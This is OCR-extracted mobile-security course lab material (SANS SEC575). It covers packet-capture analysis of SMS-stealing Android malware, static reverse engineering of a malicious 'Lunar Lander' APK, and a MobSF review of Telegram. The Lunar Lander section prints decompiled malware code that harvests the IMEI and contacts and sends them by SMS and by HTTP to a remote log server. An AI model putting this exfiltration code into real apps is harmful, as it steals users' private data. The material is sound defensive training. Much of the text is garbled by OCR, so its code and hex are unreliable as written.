Ethernet II, Src: RealtekU_12:34:56 (52:54:00:12:34:56), Dst: RealtekU_12:35:02 (52:54:00:12:35:02)
Internet Protocol Version 4, Src: 10.0.2.15, Dst: 1.34.90.201
Transmizzion Control Protocol, Src Port: 48771, Dst Port: 88, Seq: 1, Ack: 1, Len: 448
~ Mypertext Transfer Protocol
POST /proxy/log.php?id= HTTP/1.1\r\n
Content-Length: 229\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Host: proxylog.dyndns.org\r\n
Connection: Keep-Alive\r\n
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)\r\n
\r\n
i3 e
[HTTP request 1/1]
R n in frame:

2d 75 72 6c 65

20 : p-Alive:

ent: Apa

48 74 Client/U

49 41 LE (java

29 ed @ - -11=04-1

25 41 32 S¥3A88%2

23243 Cver%2C1 .17812+0

2b 38 37 25 4-18+407% 3A25%340

25 6c 6f 67 25 8%2Clog¥ 2Cservic

65 61 74 65 e+create dal3=04-

38 3725 33 42 184@7%3A 25%3408%

43 25 32 43 25 2Cid%2CX 20000000

39 30 30 3@ 3@ 30 20000000 0R14-04-

38 3037 2533 42 1B+07%3A 25%3A08%

43 6f 6e 6e 25 32 2Cconn¥2 Cwifitof

32 43 6d 6f 62 69 fX2Cmobi le+onklS

30 34 2d 31 38 2b 3@ =B4-1840 7X3A25%3

30 38 25 32 43 6c 6f AGB%2C1lo g¥2Cloca
69 6f 6e 2b 65 78 63 tiontexc eption

© 7 HTTP Host (http.host), 27 bytes Packets: 8566 * Displayed: 35 (0.4%)

Inspect HTTP POST Data
Inspect the HTTP POST data returned by the Wireshark display filter.

Although the first POST appears to establish comma-separated values (possibly used
for establishing local logging files), subsequent POST messages reveal that the
malware is intercepting SMS messages, delivering them to the remote server over
HTTP POST, as shown. For systems using two-factor authentication, such as Google
2-step Verification, this could be a big concern.
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In this exercise, you examined many of the facets of a suspicious Android application, looking at the
slgning certificate details, the AndroidManifest permission declarations, and strings embedded in the
Android executable. Through this analysis and through the inspection of a packet capture file, we
see that the malware author intercepts SMS messages and sends a copy of the message to a
remote server.

Using these common application analysis techniques (certificate inspection, permission inspection,
string and packet capture analysis) we can evaluate the functionality of malware. Later in this
course, we continue our look at application analysis with a focus on reverse engineering and
application manipulation, which can also be applied to malware analysis.
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SEC575-3.1: Exercise—Android App Static Analysis

Objective

Evaluate the Android application Lunar Lander to identify potential threats to the company from its use.
Scenario

In this exercise, you'll apply the skills from the previous module, leveraging several Android reverse
engineering tools to evaluate an Android application. The Lunar Lander application is suspicious—use
your reverse engineering skills to identify four techniques that Lunar Lander uses to retrieve
sensitive information from the device. During your analysis, you may find that Lunar Lander makes
some attempts to thwart static analysis tools; you will apply different tools and techniques to
overcome these restrictions.

Virtual Machines

1.Windows 10
2.SEC575-E01_02: PfSense

Android App Static Analysis

Don Sawyer has been allocated a company Android device, and his C-level executive status also
grants him discretion to use the device for both work and personal activities. In deference to the
company policy for approving the installation of third-party apps on company-owned devices, you
are asked to evaluate and approve the Android game Lunar Lander for his personal use.

The Lunar Lander application is provided at E:|lab-files|static_analysis|lunarlander.apk. In this
exercise, you will use several tools to complete your analysis, including DEX2JAR, JD-GUI, Jadx, and
the Android XML Viewer. Using these tools, evaluate the permission requirements and suspicious
source code used by the Lunar Lander application, disclosing four techniques used by Lunar Lander
to retrieve sensitive information from Android devices.

Optionally, identify the specific condition where Lunar Lander exhibits malicious activity by installing and
running the application in the Android VM.

1.Unzip LunarLander.apk

For the first analysis step, unzip the Android APK file and examine the AndroidManifest.xml file to
identify the application permissions.

From Windows Explorer, navigate to the E:\lab-files\static_analysis directory. Right-click on the
LunarLander.apk file and choose 7-Zip | Extract to LunarLander. Double-click on the new folder that is
produced to see the Lunar Lander files.

2.0pen Command Prompt
From the Windows system, click Start | Command Prompt to open a command shell.

3.Change Directory

From the Command Prompt, change to the E:\lab-files\static_analysis\LunarLander directory:
C:\Users\student> E:
E:\>cd lab-files\static_analysis\LunarLander

4.Convert AndroidManifest.xml to Plaintext
The AndroidManifest.xml file is stored in a binary format. To see the plaintext version of the
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file, you need to convert it using AXMLPrinter2. Use the AXMLPrinter2.jar utility to convert
the AndroidManifest.xmi. Since AXMLPrinter2.jar is a Java archive file (JAR), run the
command using java -jar, as shown:

E:\lab-files\static analysis\LunarLander>java -jar
C:\Tools\AXMLPrinter2.jar AndroidManifest.xml

The AXMLPrinter2 utility will display the contents of the AndroidManifest.xml file to the screen.
Run the command again, this time redirecting the output to produce a text-based version of the
AndroidManifest.xml file:

E:\lab-files\static analysis\LunarLander>java -jar
C:\Tools\AXMLPrinter2.jar AndroidManifest.xml >
AndroidManifest.xml. txt

5.0pen the AndroidManifest.xml.txt File

From the command line, open the AndroidManifest.xml.txt file using Notepad++ as shown:
E:\lab-files\static analysis\LunarLander>notepad++
AndroidManifest.xml. txt

6.Examine App Permissions

From Notepad++, examine the permission declarations in the AndroidManifest.xml file. The
declared permissions will help guide your analysis of the decompiled application code.

Several permissions are declared in the AndroidManifest.xml file:

° android.permission.READ PHONE_STATE — Although this permission grants
access to some potentially sensitive information, it is common to see
READ PHONE STATE declared to identify when the user is in a phone call.
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o android.permission.ACCESS NETWORK STATE - Also commonly declared,
ACCESS_NETWORK STATE allows the programmer to identify if the user is connected
to a network and the type of network (Wi-Fi or cellular).
android.permission.INTERNET — Required for apps to access the internet, very
common.

android.permission.SEND_SMS — Somewhat uncommon, SEND SMs allows the
app to send SMS messages without notification to the user (except for later Android
versions and premium SMS services) and without saving the outbound SMS in the
Messages app display.

android.permission.READ_ CONTACTS — Also uncommon, this permission allows the
app to read through the contacts list.

7.Close Notepad++, Return to Command Prompt

Now that we recognize the permissions declared by Lunar Lander, close Notepad++ and return to the
Command Prompt.

8.Convert APK to JAR

Next, we can examine the decompiled source code for the Lunar Lander application using JD-
GUL Change to the E: \1ab- files\static analysis directory at the command
prompt, then use the dex2jar utility, reading the LunarLander.apk file and generating a
LunarLander.jar file as output:

E:\lab-files\static analysis\LunarLander>cd
\lab-files\static analysis E:\lab-

files\static _analysis>C:\Tools\dex2jar\dex2jar.
bat LunarlLander.apk dexZ2jar LunarLander.apk ->

.\LunarLander-dex2jar.jar
E:\lab-files\static analysis>dir LunarLander-dex2jar.jar
Volume in drive E has

no label. Volume Serial

Number is 5CCA-0EA4C
Directory of E:\lab-files\static analysis
09/23/2019 08:35 AM 14,580 LunarLander-dex2jar.jar
1 File(s) 14,580 bytes
0O Dir(s) 17,346,641,920 bytes free
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9.Start JD-GUI, Open LunarLander.jar

Next, you'll open the LunarLander JAR file in JD-GUI. Start JD-GUI from the Start menu. Click File |
Open File and navigate to the E: \1ab- files\static analysis directory. Select
LunarLander-dex2jar.jar from the file list, then click Open to open the file.

Spend a few minutes examining the source code for the Lunar Lander application and becoming
familiar with the navigation options available in JD- GUI before continuing.
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10. Use JD-GUI Search to Locate getDeviceld

JD-GUI includes a useful search feature that can quickly find string references within the decompiled
source code.
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From JD-GUI, click Search | Search, and enter the string getDeviceId in the search string
field. Note that JD-GUI doesn't show any matches because it is limiting the search results to
matches from "Type" in the selected “Search For” group. Click to enable all the options in the
Search For group.

When you click the Method option in the Search For group, JD-GUI displays a match for the
string in com.willhackforsushi.lunarlander.LunarLander. Click on this hit, then click Open to open
a tab for the matching source code for this class, then click Cancel to close the search dialog.

Search strings in JD-GUI are case-sensitive. If you already have the LunarLander.class
file open, pressing the "OPEN" button won't do anything.

We know that we can use the search term getDeviceld through our analysis of the
application permissions. The getDeviceld method returns the International Mobile
Equipment Identifier (IMEI) information from the mobile device, which is commonly
used as a unique identifier by applications. Regardless of its intended use, the IMEI is
considered sensitive and should not be used by applications.

If there were no matches for getDeviceld in the source code, you could continue your search for
other method names associated with the permissions declared in the application. Refer to the
course notes for a list of sensitive function names that make good starting points for searches.

11. Examine getDeviceld Code

Inthe com.willhackforsushi.lunarlander.LunarLander object, click Edit | Find to search
the current class source code. Enter

getDeviceId in the Find box at the bottom of the JD-GUI window.

JD-GUI will display the first instance of the getDeviceId string in the class source code.
Unfortunately, the source code did not decompile for this method (onOptionsItemSelected),

possibly due to defensive programming techniques adopted by the author to prevent DEX2JAR
and JD-GUI from revealing the source code.
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Despite our inability to recover the source code for the onOptionsItemSelected method, we
can see other decompiled source code in the ciass. Spend a few minutes reviewing the other
methods in the com.willhackforsushi.lunarlander.LunarLander oObject.

It's important to understand both the strengths and weaknesses of the tools that we use in
security analysis. Here JD-GUI and DEX2JAR make it quick and easy to get access to an
Android application's decompiled source code. However, the applications can also disappoint

us, as we are unable to decompile source code where defensive programming techniques
are applied.

12. Examine the ReadCPUInfo and ReadVerInfo Methods

Continuing to investigate the com.willhackforsushi.lunarlander.LunarLander class,
JD-GUI decompiles the ReadCPUInfo and ReadVerInfo methods. Examining this source

code, we see that the Lunar Lander collects information from the local system by running local
executables:

InputStream locallInputStream = new ProcessBuilder (new String[] {

"/system/bin/cat", "/proc/cpuinfo"
}) .start () .getInputStream() ;
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Later, the ReadCPUInfo and ReadvVerInfo methods are invoked in the
onOptionsItemSelected method that JD-GUI was unable to decompile. Still, we can
reasonably assume that the application is harvesting the output of cat /proc/cpuinfo
and cat /proc/version through the decompiled methods and their references in the
onOptionsItemSelected code.

13. Close JD-GUI; Start Jadx-GUI
Next, close the JD-GUI application. Start Jadx-GUI from the Windows Start menu.

14. Open LunarLander.apk

Unlike JD-GUI, Jadx reads from an APK file directly, circumventing the APK to JAR conversion process.
From Jadx-GUI, navigate to the E:\lab- files\static_analysis directory and open the LunarLander.apk
application.

15. Inspect onOptionsItemSelected Code

From Jadx-GUI, navigate to com.willhackforsushi.lunarlander | LunarLander |
onOptionsItemSelected. Jadx will display the decompiled source code where JD-GUI showed an

error.
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Spend a few minutes examining the source code to identify the actions performed by the Lunar
Lander application.

16. Inspect sendTextMessage Code Block

In the first few lines of the onOptionsItemSelected code, we see the Android
TelephonyManager API is used to get the IMEI with the getDeviceld method, followed
shortly by two text messages sent to 4015551212

String imei = ((TelephonyManager)
getSystemService ("phone")) .getDeviceId(); SmsManager localSmsManager =
SmsManager.getDefault (); localSmsManager.sendTextMessage ("4015551212",
null, "Got another sucker, expect data soon", null, null);
localSmsManager.sendTextMessage ("4015551212", null, imei, null, null);

Here we see that the Lunar Lander app is sending SMS messages to a single phone number,
harvesting the IMEI information. Continue inspecting the onOptionsItemSelected code to
evaluate the rest of the method code.

17. Inspect SMS, HTTP Request Code Blocks

Continuing to investigate the onOptionsItemSelected code, we see other SMS messages,
access to the contacts list, local file writes, and HTTP requests. The remaining code is
presented below, simplified and with comments. Review the code below, paying attention to
the comments supplied by this author in /* comment */ blocks:

/* Retrieve all the system

contacts into cur */ if
(cur.getCount () > 0) {

/* Repeat the following instructions
for each contact */ while

66 © 2019 Joshua Wright & NVISO



(cur.moveToNext ()) {

/* Get the ID #, and name for each contact;

phone number is blank */ String id =

cur.getString (cur.getColumnIndex (" id"));

String name =
cur.getString(cur.getColumnIndex ("display

~name")); String phone = "";

try |

/* Append the name and IMEI information to the file
eventslog.txt in the app data directory */ FileOutputStream
fos = openFileOutput ("eventslog.txt", 0);

fos.write (name.get

Bytes());
fos.write (imei.get
Bytes());

fos.close();

/* Send the name and IMEI infomration to the URL specified in a GET
request */

URL url = new URL("http://10.10.10.102/1og.php?id=" +
URLEncoder.encode (id, "utf-8") + "&" + "name=" +

URLEncoder.encode (name, "utf-8") + "&" 4+ "imei=" +
URLEncoder.encode (imei, "utf-8"));
new BufferedReader (new InputStreamReader (url.openStream()));

} catch (MalformedURLException
e) { Log.e("FLITTER",
"MalformedURLException", e);

} catch (IOException e2) {
Log.e ("FLITTER",
"IOException", e2);

}

/* Send the name, ID, IMEI, and blank phone number information to the
4015551212 phone number over SMS too */ String sb = new

StringBuilder (String.valueOf (name)) .append (", ") .append(id) .append (", ") .append (i
mei) .append (", ") .append (phone) .toStri

localSmsManager.sendTextMessage ("4015551212", null, sb, null, null);
}
t

}

/* Even 1f there are no contacts, send the output from ReadCPUInfo ()

and ReadVerinfo () to the server over HTTP GET */

try {

URL url2 = new URL ("http://10.10.10.102/1log.php?type=recon&cpuinfo=" +
URLEncoder.encode (ReadCPUinfo (), "utf- 8") + "&" + "verinfo=" +

URLEncoder.encode (ReadVerinfo (), "utf-8"));
new BufferedReader (new InputStreamReader (url2.openStream()));
} catch (MalformedURLException

e3) { Log.e("FLITTER",
"MalformedURLException", e3);
} catch (IOException e4)

{ Log.e("FLITTER",
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"IOException", e4);

}

18. Close Jadx
Close Jadx and return to the Command Prompt.

Your analysis has revealed that the Lunar Lander application is suspicious. Through JD-GUI
. and Jadx, you identified The following properties: Lunar Lander retrieves sensitive
information from local files by running the "cat"” executable and posts the data over
HTTP.
* Lunar Lander retrieves IMEI information and sends that information through SMS.

* Lunar Lander iterates through the contents of the address book and sends those records to a local file,
over HTTP, and over SMS.

Recognizing this behavior, you justifiably identify the app as malicious. While Don Sawyer expresses
his displeasure with not being permitted to use this application on a company device, he recognizes
the wisdom of your recommendation and complies with the company policies. Congratulations!
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SEC575-3.2: Exercise—MobSF
Objective

Use the MobSF framework to analyze both the Android and iOS version of the Telegram application.
For each application, identify the attack surface and any potential issues that raise red flags.

Scenario

In this exercise, you use an automated static analysis tool to evaluate the security of an Android
and iOS application. You will go through the reports of both versions and identify the different
results options available in JD- GUI before continuing.that are generated. Both applications were
downloaded from a third-party application store, and we therefore can't be sure that these
applications have not been tampered with.

Virtual Machines
1. Kali
MobSF Telegram Analysis

Being able to communicate clearly and securely with family and friends is an important aspect of
everyday life. There are many different apps available with this functionality and one of them is
telegram. Telegram is an open-source, end-to-end encrypted application and is available on

both Android and iOS.

Since Mike Hottair is already using the Telegram application to chat with his friends, he
was wondering if the application can be used internally inside the company as well.

Using the MobSF framework, you will analyze both the android and iOS versions of the
Telegram application to see if they contain any obvious flaws.

1. Log in to Kali Linux

From the Machines tab, select the SEC575 Kali Linux machine. Log in as the user root with
the password toor.

2. Open Linux Terminal
From the Linux system, open the Terminal application.

3. Change Directory to /root/labs/mobsf

From the Linux Terminal, change to the /root/labs/mobsf directory:
rootQRkali:~# ed /root/labs/mobsf/

4. Start Up MobSF

Execute the run.sh script to start MobSF. The script will start a server that is launched on port
8000.

root@kali:~/labs/mobsf# ./run.sh

After you see the "Booting worker with pid" message, continue to the next step.
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te to the MobSF Interface
Open the Firefox browser by clicking the icon in the dock and navigate

Navi

5

iga

8000.

//localhost:

to http

labs/mobsf directory. The APK file will be uploaded to MobSF and the processing will start.
You will be navigated to the overview screen automatically when the analysis has completed.

You will be greeted with the upload screen where you can select files to be processed.
Click on the "Upload & Analyze" button and select the telegram.apk file located in the

Processing the file will take several minutes. You can follow along the progress by

the terminal window again, where you can see intermittent status

opening

updates.
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0 run.sn 199 DyTes  Fri
W Desktop scripts
secret 50 bytes
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® Downloads I setup.sh 2.1k8
static
StaticAnalyzer
f) Pictures B telegram.apk
il telegram.ipa
B templates
= tox.ini
B uploads

&= labs M venv
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Floppy Disk

| AllFiles

6. Examine the MobSF Interface

Take a few moments to inspect the available sections of the application. All the information is
contained in a single page and can easily be navigated using the menu on the left. Some
menu items have subsections, which will be shown once the menu item is clicked.

You can always use the hamburger button at the top to hide or show the menu. This
allows you to make more space for the actual report.

On the bottom left, you can see a button for the dynamic analysis engine. This is currently
not part of the exercise.

Depending on the screen size, the page location may change when you minimize
the menu. Simply click on the address bar and press enter again to jump to the
right section.

Since MobSF only performs static analysis, there is no threat of running malicious
code. However, this is also a disadvantage since MobSF has limited access to the
operation of the application, unable to deobfuscate application functionality when
hidden.
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7. Examine the Attack Surface

Right below the application info is an overview of all the available activities, services,
providers, and broadcast receivers. For each of these, MobSF also tells you how many are
exported. All the exported items make up the attack surface of the application, as all of
these can be approached by applications if they have the correct permissions.
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8. Examine the Signer Certificate

® Start Dynamic Anal

Scroll down a little bit until you reach the signer certificate section. The APK file that you are
analyzing has been downloaded from a third-party application store, so it might not be the
official version of the telegram app.

Remember that anyone can make a certificate with the properties that are defined here since
no chain of trust is required. We can, however, compare the hashes and fingerprints to
known versions of the application.

In this section, you can also see that the APK has been signed using V1 and V2 signatures.
However, a V3 signature has not been used. V3 was added in Android 9 and its main
advantage is that it supports key rotation during application updates. This allows a company
to introduce new keys while the old keys are still valid. When a key expires, it can be
removed from the signature and the application will still work using the new signature.
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Algorithm:

16024
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Certificate Status: [N

Description:The app is signed with 'SHA1withRSA . SHA1 hash algorithm is known to have collision issues.
Note:The manifest indicates 'SHA256withRSA° is in use. Be sure to manually confirm this issue.

Examine Browsable Activities

In the menu on the left, click the "Browsable Activities" section. The telegram application
has two browsable activities: LaunchActivity and ShareActivity. For each activity, MobSF
shows which schemes can be used to trigger them. From this information, we can identify
three different host names connected to the application: telegram.me, telegram.dog, and
t.me.

Examine the Permissions

Navigate to the permissions sections of the report. After you have navigated to the correct
section, you can minimize the menu on the left by clicking the hamburger button at the
top of the report. This will help you to view the content on the screen.

The telegram application requests over 50 different permissions, many of which are labeled
as dangerous. Permissions are labeled as dangerous if they can have a big impact on the
user's privacy, on the device, or if MobSF doesn't recognize them.

Scroll through the list of permissions and identify any permissions that are suspicious for a
messaging application.

Most of the requested permissions make sense for a messaging application. However, the

REQUEST_INSTALL_PACKAGES and the SYSTEM_ALERT_WINDOW permissions can be used
together to trick the user into installing new applications.
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Almost ali permissions are labeled as dangerous. The actual danger of allowing a
permission is, of course, dependent on the type of application that is being
examined. If this list of permissions would be requested by a simple mobile game, it
would most definitely be dangerous.

pplications 3 efox ES Ved11:4
Static Analysis - Mozilla Firefox

=a Static Analysis X |-

&« 5 C 0 @ localhost:8000/StaticAnalyzer/7name=telegram.apké B | @ & | Q Search
£+ Most Visited []IOffensiveSecurity '\ KaliLinux '\ KaliDocs '\ Kali Tools # Exploit-DB W Aircrack-ng 2 Kali Forums '\ NetHunter

MobSF = RecentScans  APIDocs  About Search MD5

= Android Permissions
PERMISSION STATUS INFO DESCRIPTION

com.google.android.c2dm permission. RECEIVE Unknown Unknown permission from android
permission from  reference
android
reference

org.telegram.messenger.permission.MAPS_RECEIVE Unknown Unknown permission from android
permission from  reference
android
reference

com.google.android.providers.gsf.permission.READ_GSERVICES Unknown Unknown permission from android
permission from  reference
android
reference

android.permission ACCESS_COARSE_LOCATION coarse (network-  Access coarse location sources, such as
based) location the mobile network database, to
determine an approximate phone
location, where available. Malicious
applications can use this to determine
approximately where you are.

location Global Positioning System on the ph

android.permission. ACCESS_FINE_LOCATION fine (GPS) Access fine location sources, such ajb
where available. Malicious applicatio

11. Examining the Android Manifest

Open the menu on the left and click on the Security Analysis | Manifest Analysis
section. Close the menu again to make everything on the screen readable.

This section lists all the security issues that have been found in the Manifest. For each item,
it will define the type, whether or not it requires a permission, and if an Intent filter exists.
Intent filters are used to filter explicit Intents, while permissions can protect an activity,
service, or broadcast receiver from being accessed by unauthorized applications.

According to MobSF, every item in this section is rated as having a high severity. Again, this
depends on the kind of application you are examining. Furthermore, a high severity is
automatically given to any service, activity, or broadcast receiver that is not protected with
a permission. The fact that something is publicly accessible does not automatically make it
vulnerable. It is, however, part of the attack surface and should be examined more closely.
For some items, the exported property is explicitly set to true. Items that have an Intent
filter are automatically exported since otherwise other applications would not be able to
send Intents to the application endpoint anyway.

© 2019 Joshua Wright & NVISO 75



L

Take a few minutes to scroll through the items in the manifest and read some of the
descriptions.

Applications ~ Fire =S Thu 04:30

Static Analysis - Mozilla Firefox

=u Static Analysis

> C @ @ localhost:8000/StaticAnalyzer/7name=telegram.apké B | @ % | Q Search
£+ Most Visited [ Offensive Security "\ Kali Linux *\ KaliDocs '\ Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums \ NetHunter

MobSF = RecentScans  APIDocs  About Search MD5

Activity (org.telegram.ui.ShareActivity) is not Protected. m An Activity is found to be shared with

An intent-filter exists. other apps on the device therefore
leaving it accessible to any other
application on the device. The
presence of intent-filter indicates that
the Activity is explicitly exported.

Activity (org.telegram.ui.ExternalActionActivity) is not Protected. An Activity is found to be shared with

An intent-filter exists. other apps on the device therefore
leaving it accessible to any other
application on the device. The
presence of intent-filter indicates that
the Activity is explicitly exported.

Activity (org.telegram.messenger.OpenChatReceiver) is not Protected. An Activity is found to be shared with

[android:exported=true] other apps on the device therefore
leaving it accessible to any other
application on the device.

Activity (org.telegram.messenger.GoogleVoiceClientActivity) is not Protected. An Aclivity is found to be shared with

[android:exported=true] other apps on the device therefore
leaving it accessible to any other
application on the device.

TaskAffinity is set for Activity If taskAffinity is set, then other
(org.telegram.ui.VolPActivity) application could read the Intents sent

to Activities belonging to another ta|
Always use the default setting kee

the affinity as the package name in

12. Examine the Platform Interaction

Go to the Android API section either by going through the menu or scrolling down and
finding the Local File I/O Operations subsection. Here you can find all Java classes that
perform interactions with the local filesystem. Open the UserConfig Java class by clicking
on the filename. This will decompile the selected class and show it on screen. It might take
a while until the class is decompiled.

Even though dynamic analysis is typically preferred to identify local file storage, we can
already get a good overview of what kind of data will be stored in the system preferences.
Scroll down to the saveConfig method and identify the different SharedPreferences fields
that will be stored.

At the end of the methods, a field called tmpPassword is stored using a base64 encoding of
a byte array. In order to figure out how this tmpPassword field relates to the login
procedure, a full analysis of the application code should be performed.

If you scroll further down, you can identify which decompiler has been used to

decompile the class. Jadx has added some comments about the decompilation
process right above the loadConfig method.
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| 7 A ) O~
UserConfig.java -Mozllla Firefox e ® 0
=u UserConfig.java X | localhost:8000/PDF/?mdS= X | == AndroidManifest.xml X |+
&« 5 C w ) localhost: 800 Source rg/telegram/mess B | » @ % | Q Search W @M

£+ Most Visited [ Offensive Security \ Kali Linux *\ KaliDocs '\ Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums \ NetHunter
tObjectSize());

this.pendingAppUpdate.serializeToStream(serializedData2);
edit.putString("appUpdate”, Base64.encodeToString(serializedData2.toByteArra
y(). ©));

edit.putInt("appUpdateBuild", this.pendingAppUpdateBuildVersion);
edit.putlong("appUpdateTime", this.pendingAppUpdateInstallTime);
edit.putlong(“appUpdateCheckTime", this.lastUpdateCheckTime);
serializedData2.cleanup();

} catch (Exception unused2) {

e {
edit.remove("appUpdate");

SharedConfig.saveConfig();

if (this.tmpPassword null) {
SerializedData serializedData3 = new SerializedData();
this.tmpPassword.serializeToStream(serializedData3);
edit.putString("[ENLEEENEIE.", Base64.encodeToString(serializedData3.toByteArray(), 0

serializedData3.cleanup();
} else {
edit.remove("tmpPassword");

if (this.currentUser null) {
edit.remove("use

} else if (z) {
SerializedData serializedDatad4 = new SerializedData();
this.currentUser.serializeToStream(serializedDatad);
edit.putString("user"”, Base64.encodeToString(serializedData4.toByteArray(), 0));
serializedDatad.cleanup();

}

edit.commit();

if (file != null) {
file.delete();

}

} catch (Exception e) {
FileLog.e((Throwable) e);

13. Load Telegram IPA

Now that we have taken a look at the telegram application on Android, it's time to take a
look at the same application for iOS. Click on the MobSF logo on the top left of the screen
to go back to the upload screen, or use the address bar to navigate to localhost:8000.

Click the "Upload & Analyze" button and select the telegram.ipa file from the same
folder (/root/labs/mobsf) as before.

Once again, it will take a few moments for the analysis to complete.
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Examine the Available Analysis Results

14

Immediately, you can see that there are far fewer options in the menu on the left as

Ion

opposed to the Android analysis. This is partly because there is less application interact

tions are far easier to decompile and to extract

interesting artifacts from than natively compiled iOS applications.

on i0S and partly because Android applica

button. This will show you

Scroll to the "Options" sections and click on the "View Info.plist"
the raw Info.plist file that has been extracted from the IPA file.

The Info.plist file contains almost all of the information that has been extracted for the

it is much more convenient

ist file directly,

pl

ine the Info

is possible to exam
to view the info through the MobSF interface.

analysis. While
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16.

Applications R Fif S y ﬁ \ AR

Static Analysis - Mozilla Firefox

=u Static Analysis

)= C B @ localhost:8000/StaticAnalyzer _iOS/?name=telegr: B | @ & | Q Searct
£+ Most Visited [ Offensive Security \ Kali Linux *\ KaliDocs '\ Kali Tools & Exploit-DB W Aircrack-ng gl Kali Forums \ NetHunter

Info.plist

<?xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.app
le.com/DTDs/PropertyList-1.8.dtd">
<plist version="1.0">
<dict>
<key>BuildMachine0SBuild</key>
<string>180109</string>
<key>CFBundleAllowMixedLocalizations</key>
<true/>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleDisplayName</key>
<string>Telegram</string>
<key>CFBundleExecutable</key>
<string>Telegram</string>
<key>CFBundleIcons</key>
<dict>
<key>CFBundleAlternateIcons</key>
<dict>
<key>Black</key>
<dict>
<key>CFBundleIconFiles</key>
<array>
<string>BlackIcon</string>
<string>BlackNotificationIco
n</string>
</array>
<key>UIPrerenderedIcon</key>
<true/>
</dict>
< >BlackClassi

Examine the Permissions

Close the Info.plist popup and scroll down to the permissions section. While the application
does have a few permissions, there are substantially fewer permissions than the Android
version. For each permission, the Telegram application explains why it is needed. This
reasoning is, of course, chosen by Telegram itself and does not necessarily reflect the
actual usage of the permission.

Read the explanations for the different permissions and validate if they in fact makes sense.

Examine the App Transport Security policy

Scroll down until you reach the App Transport Security (ATS) section, or click the Transport
Security button in the menu.

Newer versions of iOS are no longer possible by default to communicate over a non-secure
communication channel. Developers can, however, include exceptions through the app
transport security policy. Telegram has, in fact, implemented such an exception, which
means some forms of communication will still happen over an insecure channel.

If this setting is set to true, as it is in the Telegram application, the developer must provide a

reason when submitting the application to the App Store. This information is not included in
the Info.plist file, so we can we cannot recover it directly from the IPA.
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Applications B K 77;9‘#[9?‘(8%5?
Static Analysis - Mozilla Firefox

=a Static Analysis X [=
- C @ @® localhost:8000/StaticAnalyzer_iOS/?name=telegrarm B 9%
£+ Most Visited NOffensiveSccurity '\ KaliLinux *\ KaliDocs '\ Kali Tools # Exploit-DB W Aircrack-ng 1 Kali Forums '\ NetHunter

MobSF = Recent Scans  APIDocs  About Search MD5.
NSPhotoLibraryUsageDescription Access the user's photo  We need this so that you can share

library. photos and videos from your photo
library.

® App Transport Security (ATS)
ISSUE STATUS DESCRIPTION

Exception in m App Transport Security (ATS) is disabled on the domain

NSAppTransportSecurity ‘{'NSAllowsArbitraryLoads": True}". Disabling ATS can allow insecure

found. communication with particular servers or allow insecure loads for
web views or for media, while maintaining ATS protections
elsewhere in your app.

0 Binary Analysis
ISSUE STATUS CVSS CWE DESCRIPTION

fPIE -pie flag is m 0 App is compiled with Position Independent Executable (PIE)

Found flag. This enables Address Space Layout Randomization
(ASLR), a memory protection mechanism for exploit
mitigation.

fstack- ED App is compiled with Stack Smashing Protector (SSP) II!
protector-all and is having protection against Stack Overflows/Stack

Examine the Binary
Scroll down to the binary analysis section.

MobSF lists both enabled and disabled security flags. The PIE flag is enabled and allows an
application to fully utilize the ASLR protection mechanism. Additionally, the fstack-
protector-all flag is also enabled, which further mitigates specific low-level attacks.

However, there are a few insecure items here as well. First, the application does not use
Automatic Reference Counting (ARC). While this is not a direct vulnerability, it is now up to
the developer himself to properly allocate and free resources. If an error is made in this
regard, the application may be vulnerable to a double-free attack. Additionally, the
application uses a few APIs that are considered dangerous. If an attacker is able to
manipulate the input for these APIs, it can serve as an initial entry into the application and
could eventually lead to malicious code execution.

In mid-2019, unsafe APIs like the ones mentioned here were abused inside
WhatsApp in order to remotely infect devices and stealmessages.
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Static Analysis - Mozilla Firefox

=a Static Analysis X |+

- C @ @® localhost:8000/StaticAnalyzer_iOS/?name=telegrarm B - 9%
£+ Most Visited IiIOffensiveSccurity '\ KaliLinux *\ KaliDocs '\ Kali Tools # Exploit-DB W Aircrack-ng 1 Kali Forums '\ NetHunter

MobSF = Recent Scans  APIDocs  About Search MD5.

0 Binary Analysis
ISSUE STATUS CVSS CWE DESCRIPTION

{PIE -pie flag is m 0 App is compiled with Position Independent Executable (PIE)

Found flag. This enables Address Space Layout Randomization
(ASLR), a memory protection mechanism for exploit
mitigation.

fstack- m App is compiled with Stack Smashing Protector (SSP) flag
protector-all and is having protection against Stack Overflows/Stack
flag is Found Smashing Attacks.

fobjc-arcflagis  [aad CWE-119  App is not compiled with Automatic Reference Counting

not Found (ARC) flag. ARC is a compiler feature that provides
automatic memory management of Objective-C objects and
protects from memory corruption vulnerabilities.

Binary make  [EeY CWE-676 The binary may contain the following banned API(s)
use of banned _memcpy, _strien.
API(s)

Binary make m CWE-789 The binary may use malloc function instead of calloc.
use of malloc

Function ’

MobSF can give a very good overview of Android applications and can easily help you identify the
attack surface. However, automated static analysis is still rather limited in comparison to a full
source code review. You were able to identify which permissions were requested but it is still unclear
how these permissions are used. Does the telegram application indeed only use your location data
when you want to share it with your friends, or does it continuously monitor your location and track
you wherever you go?

For i0S, the automated static analysis is rather limited. Without access to the original source code,
it s very difficult to figure out the behavior of the application. A few issues were identified by
MobSF, and especially the misconfigured App Transport Security policy is a red flag for a secure
messaging application. Without diving into the source code, we can only hope that the non-HTTPS
channel is only used for non-sensitive data.
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SEC575-3.3: Exercise—Obfuscated Android App Analysis
Objective

Evaluate the Secure Notepad app for Android, identifying the key used to encrypt database content.
Once you identify the key, use the DB Browser for SQLite application on Windows to decrypt the
notepad.db file and extract the secret message.

Scenario

In this exercise, you'll build the necessary skills to evaluate obfuscated Android applications. You'll
use the Jadx decompiler that we've seen earlier, but you'll also leverage Simplify to remove some
unnecessary code, then use Android Studio to refactor and rename code portions to make them
more legible. This analysis will be performed on a Linux system to overcome a bug affecting
Simplify on Windows systems.

Once you've completed your analysis, you'll examine the code to identify the mechanism used to
select a password on the system for use in encrypting SQLite database files. Using the password
and the Windows-based DB Browser for the SQLite tool capable of decrypting SQLite databases,
you'll recover the secret message.

Virtual Machines

1. Windows 10
2. Kali

Secure NotePad Analysis

Kevin Searle has lost vital data he recorded using an Android app, Secure NotePad.

